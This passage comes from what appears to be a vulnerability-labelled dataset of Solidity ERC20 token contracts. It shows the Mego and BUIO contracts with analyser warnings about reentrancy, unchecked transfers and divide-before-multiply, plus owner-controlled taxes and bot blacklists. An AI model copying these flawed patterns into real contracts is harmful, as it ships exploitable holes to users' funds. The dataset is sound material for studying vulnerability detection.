uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8ff4f25\n\t\t\t\t// reentrancy-eth | ID: 2251bfc\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8ff4f25\n\t\t\t\t\t// reentrancy-eth | ID: 2251bfc\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2251bfc\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 2251bfc\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2251bfc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8ff4f25\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2251bfc\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2251bfc\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8ff4f25\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 86e400b\n\t\t// reentrancy-events | ID: 8ff4f25\n\t\t// reentrancy-benign | ID: 02dbcc9\n\t\t// reentrancy-eth | ID: 2251bfc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 86e400b\n\t\t// reentrancy-events | ID: 8ff4f25\n\t\t// reentrancy-eth | ID: 2251bfc\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d9a2b2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d9a2b2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0b002f1): BUIO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0b002f1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9addd1c): BUIO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9addd1c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7b38763): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7b38763: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d9a2b2c\n\t\t// reentrancy-eth | ID: 7b38763\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d9a2b2c\n\t\t// unused-return | ID: 0b002f1\n\t\t// reentrancy-eth | ID: 7b38763\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d9a2b2c\n\t\t// unused-return | ID: 9addd1c\n\t\t// reentrancy-eth | ID: 7b38763\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d9a2b2c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7b38763\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10893.sol",
"size_bytes": 19874,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Mego is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 09826e1): Mego._taxWallet should be immutable \n\t// Recommendation for 09826e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 343c0a5): Mego._finalBuyTax should be constant \n\t// Recommendation for 343c0a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0625b81): Mego._finalSellTax should be constant \n\t// Recommendation for 0625b81: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mego\";\n\n string private constant _symbol = unicode\"MEGO\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 125aca3): Mego._taxSwapThreshold should be constant \n\t// Recommendation for 125aca3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0b86ee): Mego._maxTaxSwap should be constant \n\t// Recommendation for a0b86ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e90f04): Mego.caBlockLimit should be constant \n\t// Recommendation for 4e90f04: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fa561b): Mego.caLimit should be constant \n\t// Recommendation for 5fa561b: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 68fb630): Mego.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 68fb630: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 865ab53): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 865ab53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2484b10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2484b10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 865ab53\n\t\t// reentrancy-benign | ID: 2484b10\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 865ab53\n\t\t// reentrancy-benign | ID: 2484b10\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc3ffae): Mego._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc3ffae: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2484b10\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 865ab53\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 907e88b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 907e88b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6425f5b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6425f5b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4101ad9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4101ad9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 907e88b\n\t\t\t\t// reentrancy-eth | ID: 6425f5b\n\t\t\t\t// reentrancy-eth | ID: 4101ad9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 907e88b\n\t\t\t\t\t// reentrancy-eth | ID: 6425f5b\n\t\t\t\t\t// reentrancy-eth | ID: 4101ad9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6425f5b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6425f5b\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 907e88b\n\t\t\t\t// reentrancy-eth | ID: 4101ad9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 907e88b\n\t\t\t\t\t// reentrancy-eth | ID: 4101ad9\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4101ad9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 907e88b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4101ad9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4101ad9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 907e88b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 907e88b\n\t\t// reentrancy-events | ID: 865ab53\n\t\t// reentrancy-benign | ID: 2484b10\n\t\t// reentrancy-eth | ID: 6425f5b\n\t\t// reentrancy-eth | ID: 4101ad9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e0d9da6): Missing events for critical arithmetic parameters.\n\t// Recommendation for e0d9da6: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: e0d9da6\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: e0d9da6\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: e0d9da6\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: e0d9da6\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: e0d9da6\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 7312590): Mego.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 7312590: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 7312590\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 907e88b\n\t\t// reentrancy-events | ID: 865ab53\n\t\t// reentrancy-eth | ID: 6425f5b\n\t\t// reentrancy-eth | ID: 4101ad9\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c2d4db2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c2d4db2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: db106c9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for db106c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1459537): Mego.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1459537: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 54339fa): Mego.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 54339fa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 66a8e4a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 66a8e4a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c2d4db2\n\t\t// reentrancy-benign | ID: db106c9\n\t\t// reentrancy-eth | ID: 66a8e4a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: db106c9\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: db106c9\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: c2d4db2\n\t\t// unused-return | ID: 1459537\n\t\t// reentrancy-eth | ID: 66a8e4a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c2d4db2\n\t\t// unused-return | ID: 54339fa\n\t\t// reentrancy-eth | ID: 66a8e4a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c2d4db2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 66a8e4a\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: c2d4db2\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10894.sol",
"size_bytes": 22084,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c3f4f9b): MantisFightingChampionship.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for c3f4f9b: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 38e69dd): MantisFightingChampionship.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for 38e69dd: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 334e3c9): MantisFightingChampionship.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 334e3c9: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7ae147a): MantisFightingChampionship.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 7ae147a: Consider ordering multiplication before division.\ncontract MantisFightingChampionship is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 291fd42): MantisFightingChampionship._taxWallet should be immutable \n\t// 